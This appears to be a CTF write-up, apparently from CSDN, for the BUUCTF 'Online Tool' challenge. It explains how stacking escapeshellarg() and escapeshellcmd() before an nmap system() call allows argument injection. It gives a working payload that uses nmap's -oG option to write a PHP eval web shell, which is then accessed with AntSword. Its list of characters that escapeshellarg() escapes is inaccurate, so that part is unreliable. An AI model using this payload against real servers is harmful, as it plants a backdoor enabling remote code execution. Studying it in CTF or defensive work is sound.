buuctf之Online Tool解题思路

题目给出:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码分析:isset()判断变量是否为NULL,空为0。

REMOTE_ADDR和HTTP_X_FORWARDED_FOR获取访问页面的主机IP,而$_SERVER[]是通过服务器进行获取特定参数值。

$_SERVER['DOCUMENT_ROOT']文件根目录
$_SERVER['HTTP_HOST']客户端发送请求时指定的域名
$_SERVER['HTTP_USER_AGENT']客户端发送请求的用户代理
$_SERVER['PHP_SELF']当前执行脚本的文件名
$_SERVER['QUERY_STRING']请求字符串(?后面的内容)
$_SERVER['REMOTE_ADDR']客户端的IP地址
$_SERVER['REQUEST_METHOD']访问页面的请求方法
$_SERVER['REQUEST_URI']包含查询字符串的当前请求URI

escapeshellarg()+escapeshellcmd()绕过:

escapeshellarg()函数会将输入字符串中含有的特殊字符进行转义(绝大多数直接加\,反引号`转义为``````)后,用单引号包裹转义符号\,操作如下:

单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。

escapeshellcmd()函数的操作如下:

'变为\'
"变为\"
删除命令字符串中的换行符\n
删除命令字符串中的回车符\r
exp执行原理:
构造的exp:172.17.0.2' -v -d a=1
当进行escapeshellarg()函数处理后,会先进行字符转义,变为
'172.17.0.2\' -v -d a=1'
然后用单引号包裹转义符号\
'172.17.0.2'\'' -v -d a=1'
经过escapeshellcmd()函数处理后,对\和最后不配对的单引号进行转义
'172.17.0.2'\\'' -v -d a=1\'

mkdir($sandbox)创建该变量$sandbox的目录,chdir($sandbox)切换当前目录到变量$sandbox指定的目录。

system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);使用system函数来执行一个外部命令,即nmap命令。nmap是一个开源的网络扫描和安全审计工具。-T5:设置扫描的速度为5,nmap的速度等级从0到5,数字越大,扫描速度越快,但对目标网络的负载也越大。-sT:使用TCP connect()扫描,这是最基本的扫描类型,直接连接到目标端口,查看服务是否响应。-Pn:假设所有主机都是在线的,跳过主机发现阶段。--host-timeout 2:设置每次主机扫描的超时时间为2秒,如果在这段时间内没有收到响应,nmap将认为该主机没有响应。-F:快速扫描模式,只扫描在nmap-services文件中列出的端口(通常是100个最常用的端口)。".$host":变量$host应该包含要扫描的目标主机的IP地址或域名。综上所述,其目的是使用nmap以最快的速度、TCP connect()扫描方式、跳过主机发现阶段、每次扫描超时时间为2秒、只扫描最常用的100个端口来扫描变量$host指定的目标主机。

nmap存在参数-oG可以实现将命令和结果写入文件,尝试构造host:

127.0.0.1 <?php @eval();?> -oG hack.php

如果直接传入,会被认为是字符串无法写入马,所以要在前面加单引号,后面加空格和单引号:

'127.0.0.1 <?php @eval();?> -oG hack.php '

传进去之后变为:

''127.0.0.1 <?php @eval();?> -oG hack.php ''

经过escapeshellarg()函数处理后:

'\'127.0.0.1 <?php @eval();?> -oG hack.php \''

用引号将转义符号括起来:

''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''

经过escapeshellcmd()函数处理后:

''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''

执行结果会对目标\127.0.0.1发送命令<?php @eval();?> -oG hack.php \写入文件

最终的payload为:

?host='127.0.0.1 <?php @eval($_POST["hack"]);?> -oG hack.php '

或者:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

以GET方式请求之后会得到:you are in sandbox ...后面显示的MD5值就是创建的虚拟目录,再次写入到url中:

端口后面的就是刚才创建的虚拟目录,再加上hack.php,send之后再使用蚁剑连接,根目录下就能看到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值